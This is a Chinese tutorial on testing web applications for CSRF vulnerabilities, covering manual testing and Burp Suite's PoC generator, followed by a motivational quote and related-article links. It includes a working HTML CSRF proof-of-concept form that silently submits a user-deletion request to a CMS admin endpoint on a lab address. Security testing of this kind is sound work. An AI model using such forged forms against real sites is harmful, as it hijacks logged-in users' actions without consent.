检测CSRF漏洞

文章目录

  • 检测CSRF漏洞
    • 手工检测
    • 半自动检测
    • 摘抄

手工检测

前提

  • CSRF只能通过用户的正规操作进行攻击,实际上就是劫持用户操作。
  • 在检测前首先需要确定Web应用程序的所有功能
  • 以及确定哪些操作是敏感的
  • 比如修改密码、转账、发表留言等功能

第一步 抓取删除用户得数据包

第二步 编写CSRF POC

<html>  <body><script>history.pushState('', '', '/')</script><form action="http://192.168.146.148/cms/admin/user.action.php" method="POST"><input type="hidden" name="act" value="delete" /><input type="hidden" name="userid" value="31" /><input type="submit" value="Submit request" /></form></body>
</html>

第三步 提交poc查看

半自动检测

借助工具burpsuit

第一步 在管理员处添加用户

第二步 抓取数据包

第三步 右击—>Engagemet tools—> Generate CSRF PoC

第四步 保存poc,并访问

第五步 查看添加用户信息


摘抄


一个人,想要把事情做好,
首先就要学好做人。
人品好了,才能赢得别人的信任;
别人信任你了,才会尊重你、帮助你。
一个人最好的通行证,
莫过于拥有好的人品,
堂堂正正做人,
本本分分做事。


4.3检测CSRF漏洞相关推荐

  1. 自动检测CSRF漏洞的工具

    burp 抓包(有敏感接口的,比如转账) 右键---->Engagement Tools----〉Generate CSRF PoC 将HTML代码粘贴到sublime或者NotePad++ 保 ...

  2. CSRF漏洞检测与发现

    1.首先明白什么是CSRF漏洞 跨站请求伪造,这里刚入门的同学肯定不明白是什么意思,其实重点在于请求伪造 简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作 ...

  3. csrf漏洞防御方案_CSRF原理实战及防御手段

    注:本文仅供学习参考 csrf定义: CSRF跨站点请求伪造(Cross-Site Request Forgery)攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是 ...

  4. 《WEB安全漏洞100讲》(第4讲)CSRF漏洞

    1.CSRF漏洞原理 CSRF(Cross-site request forgery),跨站请求伪造,简写 CSRF/XSRF.指利用受害者尚未失效的身份认证信息(cookie.会话等),诱骗其点击恶 ...

  5. csrf漏洞防御方案_绕过CSRF防御

    CSRF漏洞很容易就可以被发现并利用.一眼看去很多站点好像在这方面都做得不错:当你检查针对敏感操作的请求时,他们往往会实施CSRF保护.有时候可能是一个在请求主体中的CSRF token,也有可能是一 ...

  6. Web安全-检测-CSRF

    背景知识 跨站域请求伪造(CSRF,Cross Site Request Forgery)是一种网络攻击方式,它在2007年曾被列为互联网20大安全隐患之一. 网站是通过cookie来识别用户的,当用 ...

  7. 【CSRF技巧拓展】————1、用代码来细说Csrf漏洞危害以及防御

    0x01 CSRF介绍: CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding ...

  8. 一个express老系统csrf漏洞修复

    一个运行快两年的express框架web系统,被安全部门审核存在csrf漏洞,项目使用的前后端分离的形式,所有功能操作,通过ajax调用后端接口来完成,查了很多资料,一个基本的防御思想就是验证随机数了 ...

  9. web安全-----CSRF漏洞

    简述 CSRF:Cross-site request -forgery,跨站请求伪造,是一种web攻击方式,是由于网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要访问这个 ...

  10. CORS跨域漏洞的学习(防止CSRF漏洞导致的漏洞)

    0x00 从浏览器的同源策略说起 SOP,同源策略 (Same Origin Policy),该策略是浏览器的一个安全基石,如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站.恶意网站 ...

最新文章

  1. STC单片机下载实验
  2. java 反射遍历_java使用反射遍历类的字段
  3. 电信 IPRAN 设备组网方案_国内首家5G核心网电信设备进网许可证;电信5G网络增强方案获认可;美国最大规模毫米波拍卖...
  4. 《OpenGL ES 2.0游戏开发(上卷):基础技术和典型案例》一6.6 本章小结
  5. 软件测试作业4:测试要素
  6. 4位先行进位加法器_行波进位/超前进位加法器详解
  7. websocket 获取ip_Spark+Kafka+WebSocket+eCharts实时分析-完全记录(1)
  8. Android公共jar,使用JitPack管理Android项目中公共模块库
  9. DOMJavaScript示例练习
  10. erlang 程序设计书中的错误
  11. linux用usermod修改密码,Linux笔记(usermod命令,用户密码管理,mkpasswd)
  12. 【投资策略】2022 年大类资产配置展望:稳中求进-中金公司
  13. debian、ubuntu安装metasploit通用方法
  14. 最长公共子序列lcs 51nod1006
  15. 用户调研的操作步骤与过程模板
  16. 2022年二级c语言软件下载,二级c语言免费考试软件下载 知识兔二级c语言考试系统 v2022.3官方安装版
  17. 如何查看浏览器的 cookie
  18. 【转】知识图谱构建全过程
  19. 计算机数学英语基础,2020考研计算机数学复习四大基本方向
  20. NI PXI-6221(16路模拟输入)校准小记

热门文章

  1. (二)C语言开发工具
  2. 【建设银行面试】面试准备
  3. 如何删除ppt自带背景音乐_ppt模板里自带的背景乐怎么去掉?
  4. 儿童编程软件python-一款儿童编程入门的理想工具——PythonTurtle
  5. python儿童编程-一款儿童编程入门的理想工具——PythonTurtle
  6. 学生信息管理系统java_学生信息管理系统java课程设计(含源代码)
  7. 电梯实时智能监测与诊断:应用人工智能的案例研究和解决方案
  8. UNIX环境高级编程 学习笔记 第十八章 终端I/O
  9. 代码查重实验(深大算法实验4)报告+代码
  10. 证件照换底色(偷懒不专业版,仅供参考)